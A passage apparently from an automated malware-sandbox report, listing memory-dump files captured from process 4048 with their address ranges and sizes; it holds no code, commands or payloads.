                                                                          • memory/4048-80-0x00007FFAA7270000-0x00007FFAA727D000-memory.dmp

                                                                            Filesize

                                                                            52KB

                                                                          • memory/4048-72-0x00000237085E0000-0x0000023708B13000-memory.dmp

                                                                            Filesize

                                                                            5.2MB

                                                                          • memory/4048-79-0x00007FFA9EA40000-0x00007FFA9EA6B000-memory.dmp

                                                                            Filesize

                                                                            172KB

                                                                          • memory/4048-73-0x00007FFAA2910000-0x00007FFAA2937000-memory.dmp

                                                                            Filesize

                                                                            156KB

                                                                          • memory/4048-74-0x00007FFA9B8B0000-0x00007FFA9BDE3000-memory.dmp

                                                                            Filesize

                                                                            5.2MB

                                                                          • memory/4048-313-0x00007FFA9E7C0000-0x00007FFA9E7F4000-memory.dmp

                                                                            Filesize

                                                                            208KB

                                                                          • memory/4048-71-0x00007FFA9DE00000-0x00007FFA9DECE000-memory.dmp

                                                                            Filesize

                                                                            824KB

                                                                          • memory/4048-68-0x00007FFA8CC10000-0x00007FFA8D273000-memory.dmp

                                                                            Filesize

                                                                            6.4MB

                                                                          • memory/4048-66-0x00007FFA9E7C0000-0x00007FFA9E7F4000-memory.dmp

                                                                            Filesize

                                                                            208KB

                                                                          • memory/4048-64-0x00007FFAA7410000-0x00007FFAA741D000-memory.dmp

                                                                            Filesize

                                                                            52KB

                                                                          • memory/4048-62-0x00007FFAA3E20000-0x00007FFAA3E39000-memory.dmp

                                                                            Filesize

                                                                            100KB

                                                                          • memory/4048-60-0x00007FFA9DED0000-0x00007FFA9E04F000-memory.dmp

                                                                            Filesize

                                                                            1.5MB

                                                                          • memory/4048-58-0x00007FFA9E800000-0x00007FFA9E825000-memory.dmp

                                                                            Filesize

                                                                            148KB

                                                                          • memory/4048-76-0x00007FFAA7420000-0x00007FFAA742F000-memory.dmp

                                                                            Filesize

                                                                            60KB

                                                                          • memory/4048-54-0x00007FFA9EA40000-0x00007FFA9EA6B000-memory.dmp

                                                                            Filesize

                                                                            172KB

                                                                          • memory/4048-32-0x00007FFAA7420000-0x00007FFAA742F000-memory.dmp

                                                                            Filesize

                                                                            60KB

                                                                          • memory/4048-30-0x00007FFAA2910000-0x00007FFAA2937000-memory.dmp

                                                                            Filesize

                                                                            156KB

                                                                          • memory/4048-25-0x00007FFA8CC10000-0x00007FFA8D273000-memory.dmp

                                                                            Filesize

                                                                            6.4MB

                                                                          • memory/4048-106-0x00007FFA9E800000-0x00007FFA9E825000-memory.dmp

                                                                            Filesize

                                                                            148KB

                                                                          • memory/4048-328-0x00007FFA9DE00000-0x00007FFA9DECE000-memory.dmp

                                                                            Filesize

                                                                            824KB

                                                                          • memory/4048-329-0x00000237085E0000-0x0000023708B13000-memory.dmp

                                                                            Filesize

                                                                            5.2MB

                                                                          • memory/4048-331-0x00007FFA9B8B0000-0x00007FFA9BDE3000-memory.dmp

                                                                            Filesize

                                                                            5.2MB

                                                                          • memory/4048-356-0x00007FFA9DED0000-0x00007FFA9E04F000-memory.dmp

                                                                            Filesize

                                                                            1.5MB

                                                                          • memory/4048-364-0x00007FFA9DD40000-0x00007FFA9DDF3000-memory.dmp

                                                                            Filesize

                                                                            716KB

                                                                          • memory/4048-350-0x00007FFA8CC10000-0x00007FFA8D273000-memory.dmp

                                                                            Filesize

                                                                            6.4MB

                                                                          • memory/4048-375-0x00007FFA9DE00000-0x00007FFA9DECE000-memory.dmp

                                                                            Filesize

                                                                            824KB

                                                                          • memory/4048-379-0x00007FFA9DD40000-0x00007FFA9DDF3000-memory.dmp

                                                                            Filesize

                                                                            716KB

                                                                          • memory/4048-380-0x00007FFA9B8B0000-0x00007FFA9BDE3000-memory.dmp

                                                                            Filesize

                                                                            5.2MB

                                                                          • memory/4048-378-0x00007FFAA7270000-0x00007FFAA727D000-memory.dmp

                                                                            Filesize

                                                                            52KB

                                                                          • memory/4048-377-0x00007FFA9EBF0000-0x00007FFA9EC04000-memory.dmp

                                                                            Filesize

                                                                            80KB

                                                                          • memory/4048-374-0x00007FFA9E7C0000-0x00007FFA9E7F4000-memory.dmp

                                                                            Filesize

                                                                            208KB

                                                                          • memory/4048-373-0x00007FFAA7410000-0x00007FFAA741D000-memory.dmp

                                                                            Filesize

                                                                            52KB

                                                                          • memory/4048-372-0x00007FFAA3E20000-0x00007FFAA3E39000-memory.dmp

                                                                            Filesize

                                                                            100KB

                                                                          • memory/4048-371-0x00007FFA9DED0000-0x00007FFA9E04F000-memory.dmp

                                                                            Filesize

                                                                            1.5MB

                                                                          • memory/4048-370-0x00007FFA9E800000-0x00007FFA9E825000-memory.dmp

                                                                            Filesize

                                                                            148KB

                                                                          • memory/4048-369-0x00007FFAA3EE0000-0x00007FFAA3EF9000-memory.dmp

                                                                            Filesize

                                                                            100KB

                                                                          • memory/4048-368-0x00007FFA9EA40000-0x00007FFA9EA6B000-memory.dmp

                                                                            Filesize

                                                                            172KB

                                                                          • memory/4048-367-0x00007FFAA7420000-0x00007FFAA742F000-memory.dmp

                                                                            Filesize

                                                                            60KB

                                                                          • memory/4048-366-0x00007FFAA2910000-0x00007FFAA2937000-memory.dmp

                                                                            Filesize

                                                                            156KB

                                                                          • memory/4048-365-0x00007FFA8CC10000-0x00007FFA8D273000-memory.dmp

                                                                            Filesize

                                                                            6.4MB